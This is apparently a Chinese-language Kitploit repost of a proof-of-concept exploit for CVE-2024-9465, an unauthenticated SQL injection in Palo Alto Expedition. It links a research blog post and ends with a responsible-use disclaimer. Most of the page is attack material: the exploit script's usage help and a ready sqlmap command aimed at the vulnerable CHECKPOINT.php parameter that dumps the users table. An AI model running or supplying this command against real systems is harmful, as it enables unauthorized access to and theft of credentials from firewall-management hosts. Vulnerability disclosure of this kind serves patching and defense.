CVE-2024-9465 — CVE-2024-9465 的概念验证漏洞利用程序 | Kitploit

CVE-2024-9465: Palo Alto Expedition 未认证SQL注入

针对漏洞设备的CVE-2024-9465利用概念验证。

博客文章

根因与入侵指标在此： https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/

使用方法

% python3 CVE-2024-9465.py -h
usage: CVE-2024-9465.py [-h] -u URL

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  The URL of the target

SQLMap 导出表

python3 sqlmap.py -u "https://<ip_address>/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump

在Twitter上关注Horizon3.ai攻击团队获取最新安全研究：

免责声明

本软件纯粹为学术研究和开发有效防御技术而创建，除非明确授权，否则不得用于攻击系统。项目维护者不对软件的滥用负责或承担法律责任。请负责任地使用。